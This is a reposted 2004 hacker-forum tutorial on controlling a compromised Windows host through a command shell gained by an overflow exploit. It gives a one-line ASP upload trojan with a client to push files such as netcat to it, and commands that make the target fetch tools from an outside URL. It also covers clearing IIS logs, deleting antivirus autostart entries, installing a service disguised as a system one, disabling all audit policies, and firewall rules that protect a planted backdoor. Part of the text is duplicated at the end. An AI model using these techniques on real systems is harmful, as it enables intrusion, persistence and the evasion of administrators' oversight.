Transferred from: Ph4nt0m Security Team BBS
http://www.ph4nt0m.org/bbs/showthread.php?threadid=31806
Original publication: Grey Forum
http://www.isgrey.com
Do All in Cmd Shell (Everything in the Command Line)
-------------------------------------------------------
zzzEVAzzz <zzzevazzz@126.com>
http://www.isgrey.com
2004-04-24
-------------------------------------------------------
Table of Contents
1, Preface
2, File Transfer
3, System Configuration
4, Network Configuration
5, Software Installation
6, Windows Scripts
7, Postscript
Preface
Cmd Shell (command-line interaction) is an eternal topic for hackers. It has a long history and remains popular.
This article aims to introduce and summarize some methods to control the Windows system from the command line. These methods make use of system-built tools as much as possible.
File Transfer
For a cmd shell obtained from an overflow vulnerability, the biggest problem is how to upload files. Due to the prevalence of worm viruses, the 139 or 445 ports required to connect to ipc$ are blocked by the router. Moreover, the WinXP system has strengthened protection for ipc$, so the means of uploading files through ipc$ and default shares are basically ineffective. ftp and tftp are two feasible methods. Since they are well-known, this article will not introduce them. There are also three familiar methods, which I will mention again for summary:
1, Use the Echo command to write an ASP Trojan.
The premise is, of course, that IIS is installed on the target host.
Generally, an ASP Trojan has a large "size" and is not suitable for directly writing to a file using the echo command. Here I provide a compact one.
Directly give the echo version:
@echo ^<%with server.createobject("adodb.stream"):.type=1:.open:.write request.binaryread(request.totalbytes):.savetofile server.mappath(request.querystring("s")),2:end with%^> >up.asp
Note that there is only one line, with no carriage return characters in the middle.
The generated up.asp cannot be accessed by a browser. Only use the following script:
with wscript
if .arguments.count<3 then .quit
url=.arguments(0)&"?s="&.arguments(2)
fn=.arguments(1)
end with
with createobject("adodb.stream")
.type=1:.open:.loadfromfile fn:s=.read:.close
end with
with createobject("microsoft.xmlhttp")
.open "post",url,false:.send s
wscript.echo .statustext
end with
Save it as up.vbs. Suppose the target IP is 123.45.67.89, up.asp is in the IIS virtual root directory, and the file to be uploaded is nc.exe, which is saved as mm.exe after uploading. The corresponding command is:
cscript up.vbs http://123.45.67.89/up.asp nc.exe mm.exe
Note that this command is executed in the local command line, so do not make a mistake.
In addition, uploading through IIS will leave a log, so remember to clear it.
2, Automatically download to the web cache.
For example:
start its:http://www.sometips.com/soft/ps.exe
After executing the above command in the remote shell, ps.exe has been downloaded to the web cache directory of the target host. Then:
cd "C:\Documents and Settings\Default User\Local Settings\Temporary Internet Files\Content.IE5"
dir /s ps.exe
Thus, the specific location of ps.exe is obtained (it is different for each host), such as:
Directory of C:\Documents and Settings\Default User\Local Settings\Temporary Internet Files\Content.IE5\AB094JIT
2004-01-24 14:24 49,152 ps.exe
1 File(s) 49,152 bytes
Finally:
copy AB094JIT\ps.exe c:\path\ps.exe
del AB094JIT\ps.exe
Supplementary instructions:
For a shell provided by a backdoor started as a service, the user identity is generally System. At this time, the location of the web cache directory is as shown in the example. If the identity of the shell is not System, the Default User needs to be modified to the corresponding user name.
This method will start an IE process, remember to kill it. If it is a System identity shell, no window will appear locally to be exposed.
In addition, using ms-its instead of its has exactly the same effect.
3, Echo a script to download web resources.
The ready-made tool is iGet.vbs. I will give another version with necessary fault tolerance functions.
Still the echo version:
@echo with wscript:if .arguments.count^<2 then .quit:end if > dl.vbs
@echo set aso=.createobject("adodb.stream"):set web=createobject("microsoft.xmlhttp") >> dl.vbs
@echo web.open "get",.arguments(0),0:web.send:if web.status^>200 then .echo "Error:"+web.status:.quit >> dl.vbs
@echo aso.type=1:aso.open:aso.write web.responsebody:aso.savetofile .arguments(1),2:end with >> dl.vbs
For example - download ps.exe and save it to c:\path:
cscript dl.vbs http://www.sometips.com/soft/ps.exe c:\path\ps.exe
Note that this is executed in the remote shell.
4, Echo any file that has been encoded, and then use a script + debug to restore it.
The above two methods cannot guarantee to pass through the firewall. Moreover, unless you set up your own Web server, general Web resources are provided in the form of compressed files. If the target host does not have an extraction tool, it is still impossible. Then only the "killer move" is left!
The echo command plus the redirection operator can write characters with ASCII codes less than 128, but not those greater than or equal to 128. Only by re-encoding the local file into displayable characters can it be conveniently written to the remote host. The first thing that comes to mind is base64 encoding, which is the encoding method for email attachments. But vbs does not support bit operations, so encoding and decoding are more complicated. What's more troublesome is that the script has very poor ability to process files in binary stream mode. (ADODB.Stream can write files in stream mode, but I cannot construct the corresponding data type. The binary data stream can be converted into a string using the midb function, but the reverse is not possible. I spent two days, but still couldn't solve this problem. If anyone can write any byte data to a file using vbs or js, I would be grateful for your advice.)
There is no choice but to ask debug.exe to come forward. The principle is known to many people, so I will not introduce it. Directly give the result - the encoding script:
fp=wscript.arguments(0)
fn=right(fp,len(fp)-instrrev(fp,"\"))
with createobject("adodb.stream")
.type=1:.open:.loadfromfile fp:str=.read:sl=lenb(str)
end with
sll=sl mod 65536:slh=sl\65536
with createobject("scripting.filesystemobject").opentextfile(fp&".bat",2,true)
.write "@echo str="""
for i=1 to sl
bt=ascb(midb(str,i,1))
if bt<16 then .write "0"
.write hex(bt)
if i mod 128=0 then .write """_>>debug.vbs"+vbcrlf+"@echo +"""
next
.writeline """>>debug.vbs"+vbcrlf+"@echo with wscript.stdout:r=vbcrlf"_
+":for i=1 to len(str) step 48:.write ""e""+hex(256+(i-1)/2)"_
+":for j=i to i+46 step 2:.write "" ""+mid(str,j,2):next:.write r:next>>debug.vbs"
.writeline "@echo .write ""rbx""+r+"""+hex(slh)+"""+r+""rcx""+r+"""+hex(sll)_
+"""+r+""n debug.tmp""+r+""w""+r+""q""+r:end with"_
+">>debug.vbs&&cscript //nologo debug.vbs|debug.exe>nul&&ren debug.tmp """&fn&"""&del debug.vbs"
end with
Save it as echo.vbs. Suppose you want to upload nc.exe, then enter the command in the local command line:
cscript echo.vbs nc.exe
You can also directly drag the icon of the file to be transferred onto the icon of the script file.
Wait for a while, and a nc.exe.bat will be generated in the current directory. Open it with a text editor such as Notepad, and you can see the following content:
@echo str="4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000"_>>debug.vbs
@echo +"504500004C010400B98EAE340000000000000000E0000F010B010500009800000062000000000000004C00000010000000B0000000004000001000000002000004000000000000000400000000000000003001000004000000000000030000000000100000100000000010000010000000000000100000000000000000000000"_>>debug.vbs
@echo +"002001003C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000A0210100640100000000000000000000000000000000000000000000000000002E74657874000000"_>>debug.vbs
@echo +"70970000001000000098000000040000000000000000000000000000200000602E726461746100001704000000B0000000060000009C0000000000000000000000000000400000402E646174610000004452000000C00000003E000000A20000000000000000000000000000400000C02E696461746100005C07000000200100"_>>debug.vbs
…………
…………(Omitted several lines)
…………
@echo +"">>debug.vbs
@echo with wscript.stdout:r=vbcrlf:for i=1 to len(str) step 48:.write "e"+hex(256+(i-1)/2):for j=i to i+46 step 2:.write " "+mid(str,j,2):next:.write r:next>>debug.vbs
@echo .write "rbx"+r+"0"+r+"rcx"+r+"E800"+r+"n debug.tmp"+r+"w"+r+"q"+r:end with>>debug.vbs&&cscript //nologo debug.vbs|debug.exe>nul&&ren debug.tmp "NC.EXE"&del debug.vbs
Select all -> Copy -> Switch to the remote command line window -> Paste.
If the network speed is not very slow, the entire upload process takes about 20 seconds.
Some notes:
1, Large file transfer is unstable and may cause the shell to die. So the smaller the file, the better the effect. It is recommended that the original file does not exceed 100KB.
2, Before transferring a large file, you can first transfer a small file as a "warm-up" to keep the 16-bit virtual machine ntvdm.exe in the background. After all files are transferred, for the sake of concealment, the ntvdm process should be killed.
3, For some cmd shells, each command needs to be appended with two carriages returns, so the nc.exe.bat cannot be used directly.
4, The length of a single command is limited, so it is not possible to complete all tasks with only one echo. Moreover, for the cmd shell provided by nc, a slightly longer command will automatically make the shell exit (overflow?). You can modify the "i mod 128=0" statement to adjust the length of each echo command. The number of characters for each echo is twice this number.
5, The decoding process can be done without a script. The purpose of using a script is to reduce the amount of data transmitted (because the data is compressed). If there is time, I will write a more perfect script to enhance data compression ability and add data verification function.
Of course, it is easy to do everything once you can upload files, but many operations are more convenient with Windows-built tools. When you are looking for the tools you need everywhere, don't forget Windows itself.
System Configuration
This section includes three aspects: registry, service, and group policy.
Let's start with the registry. Many command-line tools to access the registry are interactive. The shell generated by overflow generally cannot redirect input/output streams again, so they cannot be used.
Fortunately, regedit.exe built into the system is sufficient.
1, Read the registry
First, export the registry key you want to query, then use type to view it. For example:
C:\>regedit /e 1.reg "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"
C:\>type 1.reg | find "PortNumber"
"PortNumber"=dword:00000d3d
C:\>del 1.reg
So the port of the terminal service is 3389 (hexadecimal d3d)
2, Modify/delete registry keys
First, echo a reg file, then import it. For example:
echo Windows Registry Editor Version 5.00 >1.reg
echo. >>1.reg
echo >>1.reg
echo "TelnetPort"=dword:00000913 >>1.reg
echo "NTLM"=dword:00000001 >>1.reg
echo. >>1.reg
regedit /s 1.reg
Change the telnet service port to 2323 (hexadecimal 913) and the NTLM authentication method to 1.
To delete a key, add a minus sign in front of the name. For example:
To delete a value, use a minus sign after the equal sign. For example:
"KAVRun"=-
3, Access the registry using an inf file
The above three operations on the registry can also be implemented using the following inf file:
Signature="$WINDOWS NT$"
AddReg=My_AddReg_Name
DelReg=My_DelReg_Name
HKLM,SOFTWARE\Microsoft\TelnetServer\1.0,TelnetPort,0x00010001,2323
HKLM,SOFTWARE\Microsoft\TelnetServer\1.0,NTLM,0x00010001,1
HKLM,SYSTEM\CurrentControlSet\Services\Serv-U
HKLM,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,KAVRun
Write it to c:\path\reg.inf and then use the following command to "install":
rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:\path\reg.inf
Some notes:
1, and are necessary, and at least one of AddReg and DelReg is required. My_AddReg_Name and My_DelReg_Name can be customized.
0x00010001 means the REG_DWORD data type, 0x00000000 or omitting this item (keeping the comma) means REG_SZ (string). 0x00020000 means REG_EXPAND_SZ.
2323 can also be replaced with 0x913.
For detailed information about inf files, refer to the DDK help document.
2, InstallHinfSection is case-sensitive. There is only one comma between it and setupapi, with no space.
128 means the given path. For other values and meanings of this parameter, refer to MSDN.
Special note: The last parameter must be the full path of the inf file, do not use a relative path.
3, The items in the inf file are case-insensitive.
Next, let's talk about services. If you want to start or stop a service, you can use the net command. But if you want to add or delete a service, you need to use tools such as SC, instsrv.exe, xnet.exe, etc. And these tools are not built into the system (XP and 2003 have SC built-in). Importing the registry can be done, but the effect is not good, and the reason will be mentioned later. Still, it's up to the inf file to come into play.
Add a service:
Signature="$WINDOWS NT$"
AddService=inetsvr,,My_AddService_Name
DisplayName=Windows Internet Service
Description=Provides support for managing Internet information services.
ServiceType=0x10
StartType=2
ErrorControl=0
ServiceBinary=%11%\inetsvr.exe
Save it as inetsvr.inf, then:
rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:\path\inetsvr.inf
This example adds a service named inetsvr (it's very similar to the system-built service, hehe).
Some notes:
1, The last four items are respectively
Service type: 0x10 is an independent process service, 0x20 is a shared process service (such as svchost);
Start type: 0 loaded when the system boots, 1 loaded when the OS initializes, 2 automatically started by SCM (Service Control Manager), 3 started manually, 4 disabled.
(Note that 0 and 1 can only be used for drivers)
Error control: 0 ignore, 1 continue and warn, 2 switch to LastKnownGood settings, 3 blue screen.
Service program location: %11% means the system32 directory, %10% means the system directory (WINNT or Windows), %12% is the driver directory system32\drivers. For other values, refer to the DDK. You can also not use variables and directly use the full path.
These four items are necessary.
2, In addition to the six items in the example, there are also LoadOrderGroup, Dependencies, etc. They are not commonly used, so they are not introduced.
3, There are two commas after inetsvr because one less commonly used parameter flags is omitted in the middle.
Delete a service:
Signature="$WINDOWS NT$"
DelService=inetsvr
It's very simple, isn't it?
Of course, you can also achieve the purpose by importing the registry. But the inf has its own advantages.
1, Export the registry key of a system-built service, and you will find that its execution path is like this:
"ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,\
74,00,25,00,5c,00,73,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,74,\
00,6c,00,6e,00,74,00,73,00,76,00,72,00,2e,00,65,00,78,00,65,00,00,00
It's not easy to read. In fact, it is %SystemRoot%\system32\tlntsvr.exe, but the data type is REG_EXPAND_SZ. When manually importing the registry to add a service, defining ImagePath in this way is obviously very inconvenient. If REG_SZ is used instead, there will be some problems - the environment variable cannot be used. That is, only the full path can be used. The inf file has no such problem at all, and ServiceBinary (that is, ImagePath) automatically becomes REG_EXPAND_SZ.
2, The most crucial point is that, like using tools such as SC, the effect of the inf file takes effect immediately, while after importing reg, it is only effective after restarting.
3, The inf file will automatically add a Security subkey to the registry key of the service, making it look more like a system-built service.
In addition, AddService and DelService as well as AddReg, DelReg can be used simultaneously and repeatedly. That is, multiple services and registry keys can be added and deleted simultaneously. For detailed content, please refer to the DDK.
Finally, let's talk about group policy. Group policy is an important means to establish a Windows security environment, especially in a Windows domain environment. An excellent system administrator should be able to master and apply group policy proficiently. To access group policy in the window interface, use gpedit.msc, and in the command line, use secedit.exe.
First, look at the secedit command syntax:
secedit /analyze
secedit /configure
secedit /export
secedit /validate
secedit /refreshpolicy
The functions of the 5 commands are respectively analyze group policy, configure group policy, export group policy, validate template syntax, and update group policy. Among them, secedit /refreshpolicy is replaced by gpupdate in XP/2003. You can check the specific syntax of these commands in the command line by yourself.
Unlike accessing the registry which only requires a reg file, to access group policy, in addition to having a template file (still inf), a security database file (sdb) is also needed. To modify group policy, you must first import the template into the security database, and then refresh the group policy by applying the security database. Let's look at an example:
Suppose I want to set the minimum password length to 6 and enable "Password must meet complexity requirements", then first write such a template:
signature="$CHICAGO$"
MinimumPasswordLength = 6
PasswordComplexity = 1
Save it as gp.inf, then import it:
secedit /configure /db gp.sdb /cfg gp.inf /quiet
This command is executed, and a gp.sdb will be generated in the current directory. It is an "intermediate product", and you can delete it.
The /quiet parameter means "quiet mode" and does not generate a log. But according to my test, this parameter seems to have no effect under 2000sp4, and it is normal under XP. The log is always saved in %windir%\security\logs\scesrv.log. You can also specify the log yourself to delete it later. For example:
secedit /configure /db gp.sdb /cfg gp.inf /log gp.log
del gp.*
In addition, before importing the template, you can first analyze whether the syntax is correct:
secedit /validate gp.inf
Then, how do you know the specific syntax? Of course, go to MSDN to find it. There is also a lazy way, because the system has some built-in security templates, in the %windir%\security\templates directory. Open these templates, basically containing the commonly used security setting syntax, and it is easy to understand.
Another example - turn off all "audit policies". (The events it audits will be recorded in "Security" in the Event Viewer).
Echo version:
echo >1.inf
echo signature="$CHICAGO$" >>1.inf
echo >>1.inf
echo AuditSystemEvents=0 >>1.inf
echo AuditObjectAccess=0 >>1.inf
echo AuditPrivilegeUse=0 >>1.inf
echo AuditPolicyChange=0 >>1.inf
echo AuditAccountManage=0 >>1.inf
echo AuditProcessTracking=0 >>1.inf
echo AuditDSAccess=0 >>1.inf
echo AuditAccountLogon=0 >>1.inf
echo AuditLogonEvents=0 >>1.inf
secedit /configure /db 1.sdb /cfg 1.inf /log 1.log /quiet
del 1.*
Some people may say: Group policy is saved in the registry, why not directly modify the registry? Because not all group policies are saved in the registry. For example, "audit policies" are not. You can use regsnap to compare the changes in the registry before and after modifying this policy. The result of my test is that nothing has changed. Only the "Administrative Templates" part is completely based on the registry. Moreover, once you know the specific location, it is not complicated to use either method.
For example, the "Local Policy" -> "Security Options" in XP and 2003 has added a "Local account sharing and security mode" policy. The default setting in XP is "Guest only". This is why connecting to the ipc$ of XP with an administrator account still has only Guest permissions. It can be modified to "Classic" by importing a reg file:
echo Windows Registry Editor Version 5.00 >1.reg
echo >>1.reg
echo "forceguest"=dword:00000000 >>1.reg
regedit /s 1.reg
del 1.reg
And correspondingly, using inf, it should be:
echo >1.inf
echo signature="$CHICAGO$" >>1.inf
echo >>1.inf
echo MACHINE\System\CurrentControlSet\Control\Lsa\ForceGuest=4,0 >>1.inf
secedit /configure /db 1.sdb /cfg 1.inf /log 1.log
del 1.*
Regarding the problem of reading group policy in the command line.
The default security database of the system is located in %windir%\security\database\secedit.sdb. Export it to an inf file:
secedit /export /cfg gp.inf /log 1.log
Not using the /db parameter to specify the database is to use the default. Then view gp.inf.
However, what is obtained in this way is only a part of the group policy (that is, "Windows Settings"). Moreover, if a policy is not configured, it will not be exported. For example, "Rename the administrator account" will only appear in the inf file if it is defined. For other group policies that cannot be exported, you can only access the registry to obtain them.
This method is invalid under XP and 2003 - it can be exported but the content is basically empty. The reason is unknown. According to official information, XP and 2003 use RSoP (Group Policy Results Set) to display group policy. The corresponding command-line tool is gpresult. However, the result obtained by it is the group policy attached (from the domain) when the system starts. The test result of a standalone machine is still "empty". So, if you want to know whether some group policies are set, you can only write an inf first, then use secedit /analyze, and then view the log.
Network Configuration
There are many command-line tools related to the network built into Windows, such as the familiar ping, tracert, ipconfig, telnet, ftp, tftp, netstat, as well as less familiar nbtstat, pathping, nslookup, finger, route, netsh...
These commands can be divided into three categories: network detection (such as ping), network connection (such as telnet), and network configuration (such as netsh). The first two are relatively simple, and this article only introduces two network configuration tools.
netsh
When using netsh in a remote shell, the first thing to solve is the problem of the interactive mode. As mentioned earlier, many shells cannot redirect input and output again, so interactive command-line tools such as ftp cannot be used in this environment. The solution is that generally, interactive tools allow the use of scripts (or called response files). For example, ftp -s:filename. netsh is the same: netsh -f filename.
The functions of the netsh command are very many, and it can configure IAS, DHCP, RAS, WINS, NAT servers, TCP/IP protocol, IPX protocol, routing, etc. We are not administrators, and generally there is no need to understand so much. We only need to use netsh to understand the network configuration information of the target host.
1, TCP/IP configuration
echo interface ip >s
echo show config >>s
netsh -f s
del s
In this way, you can understand how many network cards and IPs this host has, whether it is a dynamically assigned IP (DHCP), and what the internal network IP is (if any).
This command is similar to ipconfig /all.
Note that the following commands require the target host to start the remoteaccess service. If it is disabled, please first enable it by importing the registry, then
net start remoteaccess
2, ARP
echo interface ip >s
echo show ipnet >>s
netsh -f s
del s
This has a little more information than the arp -a command.
3, TCP/UDP connection
echo interface ip >s
echo show tcpconn >>s
echo show udpconn >>s
netsh -f s
del s
This group of commands is the same as netstat -an.
4, Network card information
If the netsh command can be replaced by other commands, then what is the necessity of its existence? The following one cannot be found to be replaced.
echo interface ip >s
echo show interface >>s
netsh -f s
del s
Other functions of netsh, such as modifying the IP, are generally not necessary to use (in case the IP is changed and you can't connect, it will be "helpless"), so all are omitted.
IPSec
First, it needs to be pointed out that IPSec and TCP/IP filtering are different things, and everyone should not confuse them. The function of TCP/IP filtering is very limited, far less flexible and powerful than IPSec. The following is about how to control IPSec in the command line.
The ipseccmd is used in XP system, and ipsecpol is used in 2000. Unfortunately, neither of them is built into the system. ipseccmd is in SUPPORT\TOOLS\SUPPORT.CAB on the XP system installation disk, and ipsecpol is in the 2000 Resource Kit. Moreover, to use ipsecpol, you must also bring the other two files: ipsecutil.dll and text2pol.dll. The three files are a total of 119KB.
IPSec can be controlled through group policy, but I have searched MSDN and cannot find the syntax of the corresponding security template. The configured IPSec policy cannot be exported as a template. So, this path of group policy is not feasible. The settings of IPSec are saved in the registry (HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\IPSec\Policy\Local). In theory, IPSec can be configured by modifying the registry. But a lot of information is stored in binary form, and it is very difficult to read and modify. Compared with uploading the command-line tool, it is more convenient.
Regarding the information about ipsecpol and ipseccmd, a lot of information can be found on the Internet, so this article will not elaborate, but only list some practical examples.
In terms of setting up IPSec policies, the syntax of the ipseccmd command is almost exactly the same as that of ipsecpol, so only ipsecpol is taken as an example:
1, Defend against rpc-dcom attacks
ipsecpol -p myfirewall -r rpc-dcom -f *+0:135:tcp *+0:135:udp *+0:137:udp *+0:138:udp *+0:139:tcp *+0:445:tcp *+0:445:udp -n BLOCK -w reg -x
This command closes the local host's TCP 135, 139, 445 and UDP 135, 137, 138, 445 ports.
The specific meaning is as follows:
-p myfirewall specifies the policy name as myfirewall
-r rpc-dcom specifies the rule name as rpc-dcom
-f …… Establish 7 filters. * means any address (source); 0 means the local host address (target); + means mirror (two-way) filtering. For detailed syntax, see ipsecpol -?
-n BLOCK specifies that the filtering operation is "block". Note that BLOCK must be in uppercase.
-w reg writes the configuration to the registry, and it is still effective after restarting.
-x activates this policy immediately.
2, Prevent being pinged
ipsecpol -p myfirewall -r antiping -f *+0::icmp -n BLOCK -w reg -x
If the policy named myfirewall already exists, the antiping rule will be added to it.
Note that this rule also prevents the host from pinging others.
3, IP restriction for the backdoor
Suppose you have installed DameWare Mini Remote Control on a certain host. In order to protect it from being brute-forced for passwords or overflowed, you should restrict access to its service port 6129.
ipsecpol -p myfw -r dwmrc_block_all -f *+0:6129:tcp -n BLOCK -w reg
ipsecpol -p myfw -r dwmrc_pass_me -f 123.45.67.89+0:6129:tcp -n PASS -w reg -x
In this way, only 123.45.67.89 can access the 6129 port of this host.
If you have a dynamic IP, you should set the rules according to the IP allocation range. For example:
ipsecpol -p myfw -r dwmrc_block_all -f *+0:6129:tcp -n BLOCK -w reg
ipsecpol -p myfw -r dwmrc_pass_me -f 123.45.67.*+0:6129:tcp -n PASS -w reg -x
In this way, IPs from 123.45.67.1 to 123.45.67.254 are allowed to access the 6129 port.
When writing rules, you should be especially careful not to block yourself. If you are not sure whether the effect of a certain rule is as expected, you can first use the scheduled task to "leave a back door". For example:
c:\>net start schedule
Task Scheduler service is starting ..
Task Scheduler service has started successfully.
c:\>time /t
12:34
c:\>at 12:39 ipsecpol -p myfw -y -w reg
A new job has been added, and its job ID = 1
Then, you have 5 minutes to set up a myfw policy and test it. After 5 minutes, the scheduled task will stop this policy.
If the test result is not ideal, then delete this policy.
c:\>ipsecpol -p myfw -o -w reg
Note that the policy must be stopped before deleting it. If it is not stopped, even if it is deleted, it will continue to take effect for a period of time. The duration depends on the refresh time of the policy, and the default is 180 minutes.
If the test passes, then enable it.
c:\>ipsecpol -p myfw -x -w reg
Finally, let's talk about the way to view the IPSec policy.
For XP, it's very simple, a single command can be done - ipseccmd show filters
And ipsecpol has no query function. You need to use another command-line tool netdiag. It is in SUPPORT\TOOLS\SUPPORT.CAB on the 2000 system installation disk. (Since three files have been uploaded, it doesn't matter if one more is added. ^_^)
netdiag requires the support of the RemoteRegistry service. So first start this service:
net start remoteregistry
If the RemoteRegistry is not started, an error will be obtained:
Failed to get system information of this machine.
The netdiag tool is very powerful, and all network-related information can be obtained! However, the output information is sometimes too detailed, exceeding the output cache of the command-line console cmd.exe, and not every remote cmd shell can use the more command to page.
The command to view the ipsec policy is:
netdiag /debug /test:ipsec
Then there is a long string of output information. The IPSec policy is at the end.
Software Installation
The installation process of a software/tool generally only does two things: copying files to a specific directory and modifying the registry. As long as the specific content is figured out, then you can implement it yourself in the command line. (Not considering situations such as needing to register and activate after installation)
WinPcap is a very commonly used tool, but it must be installed in the window interface. There is also a version without GUI found on the Internet (but there is still a copyright page). In fact, we can completely make one ourselves.
Take WinPcap 3.0a as an example. By comparing the file system and registry snapshots before and after installation, it is easy to understand the entire installation process.
Excluding the uninstall part, the key files are three: wpcap.dll, packet.dll, and npf.sys. The first two files are in the system32 directory, and the third is in the system32\drivers directory. The change in the registry is to add a system service NPF. Note that it is a system service (that is, a driver) not a Win32 service.
As a system service, not only does it need to add a primary key under HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services, but also add a primary key under HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\Root. And the latter is only modifiable by the SYSTEM identity by default. Fortunately, there is no need to add it manually, and winpcap will handle it automatically when called. Even without manually modifying the registry, winpcap will do everything by itself, and only need to copy the three files to the appropriate location.
As an example, still demonstrate how to modify the registry: use the inf file mentioned earlier to implement.
Signature="$WINDOWS NT$"
AddService=NPF,,winpcap_svr
DisplayName=Netgroup Packet Filter
ServiceType=0x1
StartType=3
ErrorControl=1
ServiceBinary=%12%\npf.sys
Save the above content as _wpcap_.inf file.
Then write a batch file _wpcap_.bat:
rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 %CD%\_wpcap_.inf
del _wpcap_.inf
if /i %CD%==%SYSTEMROOT%\system32 goto COPYDRV
copy packet.dll %SYSTEMROOT%\system32\
copy wpcap.dll %SYSTEMROOT%\system32\
del packet.dll
del wpcap.dll
:COPYDRV
if /i %CD%==%SYSTEMROOT%\system32\drivers goto END
copy npf.sys %SYSTEMROOT%\system32\drivers\
del npf.sys
:END
del %0
Then use winrar to package all files (5 files) into a self-extracting exe, and set the 'Advanced Self-Extraction Options' -> 'Run after extraction' to _wpcap_.bat, and the command-line winpcap installation package is made.
Note that there is no carriage return character at the end of the batch file. Otherwise, it cannot be deleted because it is running.
All software installations can basically follow this idea. But there are exceptions, that is, the installation of system patches.
Because the system patch may replace a file that is being executed or accessed, so the copy command is not feasible.
Fortunately, Windows patch packages support command-line installation.
For example:
KB824146.exe -n -z -q
-n does not keep backups
-z does not restart
-q quiet mode
If there are a bunch of patches to be applied, then use RAR to package them into a self-extracting file, plus a batch file.
for %%f in (KB??????.exe) do %%f -n -z -q
for %%f in (KB??????.exe) do del %%f
del %0
Windows Scripts
Many things are very concise to do with scripts. The following gives the echo versions of several commonly used scripts.
1, Display system version
@echo for each ps in getobject _ >ps.vbs
@echo ("winmgmts:\\.\root\cimv2:win32_operatingsystem").instances_ >>ps.vbs
@echo wscript.echo ps.caption^&" "^&ps.version:next >>ps.vbs
cscript //nologo ps.vbs & del ps.vbs
2, List processes
@echo for each ps in getobject _ >ps.vbs
@echo ("winmgmts:\\.\root\cimv2:win32_process").instances_ >>ps.vbs
@echo wscript.echo ps.handle^&vbtab^&ps.name^&vbtab^&ps.executablepath:next >>ps.vbs
cscript //nologo ps.vbs & del ps.vbs
3, Terminate a process
@echo for each ps in getobject _ >pk.vbs
@echo ("winmgmts:\\.\root\cimv2:win32_process").instances_ >>pk.vbs
@echo if ps.handle=wscript.arguments(0) then wscript.echo ps.terminate:end if:next >>pk.vbs
To terminate a process with PID 123, use the following syntax:
cscript pk.vbs 123
If 0 is displayed, it means the termination is successful.
Then:
del pk.vbs
4, Restart the system
@echo for each os in getobject _ >rb.vbs
@echo ("winmgmts:{(shutdown)}!\\.\root\cimv2:win32_operatingsystem").instances_ >>rb.vbs
@echo os.win32shutdown(2):next >>rb.vbs & cscript //nologo rb.vbs & del rb.vbs
5, List self-starting services
@echo for each sc in getobject("winmgmts:\\.\root\cimv2:win32_service").instances_ >sc.vbs
@echo if sc.startmode="Auto" then wscript.echo sc.name^&" - "^&sc.pathname >>sc.vbs
@echo next >>sc.vbs & cscript //nologo sc.vbs & del sc.vbs
6, List running services
@echo for each sc in getobject("winmgmts:\\.\root\cimv2:win32_service").instances_ >sc.vbs
@echo if sc.state="Running" then wscript.echo sc.name^&" - "^&sc.pathname >>sc.vbs
@echo next >>sc.vbs & cscript //nologo sc.vbs & del sc.vbs
7, Display the last boot time of the system
@echo for each os in getobject _ >bt.vbs
@echo ("winmgmts:\\.\root\cimv2:win32_operatingsystem").instances_ >>bt.vbs
@echo wscript.echo os.lastbootuptime:next >>bt.vbs & cscript //nologo bt.vbs & del bt.vbs
The displayed result format is:
yyyymmddHHMMSSxxxxxxZZZZ
_Year_Month_Day_Hour_Minute_Second_Microsecond_Timezone
8, Display the running time of the system
@echo for each os in getobject _ >rt.vbs
@echo ("winmgmts:\\.\root\cimv2:win32_perfrawdata_perfos_system").instances_ >>rt.vbs
@echo s=os.timestamp_sys100ns:l=len(s):s=left(s,l-7):for i=1 to l-7 >>rt.vbs
@echo t=t^&mid(s,i,1):d=t\86400:r=r^&d:t=t mod 86400:next >>rt.vbs
@echo wscript.echo cint(r)^&"d "^&t\3600^&"h "^&t\60 mod 60^&"m "^&t mod 60^&"s":next >>rt.vbs
cscript //nologo rt.vbs & del rt.vbs
This running time is obtained from the performance counter as a 64-bit integer, and there will be no overflow situation after 49.7 days.
Postscript
The cmd shell is profound and extensive. This article briefly talks about some common techniques, hoping to be helpful to everyone.
Maybe you already knew these methods, maybe you have better methods, and I hope you can write them out and share with everyone.
Finally, thank you for reading this article patiently. My level is limited, and I sincerely ask for corrections for any mistakes.
[ Last edited by willsort on 2006-6-3 at 21:45 ]
http://www.ph4nt0m.org/bbs/showthread.php?threadid=31806
Original publication: Grey Forum
http://www.isgrey.com
Do All in Cmd Shell (Everything in the Command Line)
-------------------------------------------------------
zzzEVAzzz <zzzevazzz@126.com>
http://www.isgrey.com
2004-04-24
-------------------------------------------------------
Table of Contents
1, Preface
2, File Transfer
3, System Configuration
4, Network Configuration
5, Software Installation
6, Windows Scripts
7, Postscript
Preface
Cmd Shell (command-line interaction) is an eternal topic for hackers. It has a long history and remains popular.
This article aims to introduce and summarize some methods to control the Windows system from the command line. These methods make use of system-built tools as much as possible.
File Transfer
For a cmd shell obtained from an overflow vulnerability, the biggest problem is how to upload files. Due to the prevalence of worm viruses, the 139 or 445 ports required to connect to ipc$ are blocked by the router. Moreover, the WinXP system has strengthened protection for ipc$, so the means of uploading files through ipc$ and default shares are basically ineffective. ftp and tftp are two feasible methods. Since they are well-known, this article will not introduce them. There are also three familiar methods, which I will mention again for summary:
1, Use the Echo command to write an ASP Trojan.
The premise is, of course, that IIS is installed on the target host.
Generally, an ASP Trojan has a large "size" and is not suitable for directly writing to a file using the echo command. Here I provide a compact one.
Directly give the echo version:
@echo ^<%with server.createobject("adodb.stream"):.type=1:.open:.write request.binaryread(request.totalbytes):.savetofile server.mappath(request.querystring("s")),2:end with%^> >up.asp
Note that there is only one line, with no carriage return characters in the middle.
The generated up.asp cannot be accessed by a browser. Only use the following script:
with wscript
if .arguments.count<3 then .quit
url=.arguments(0)&"?s="&.arguments(2)
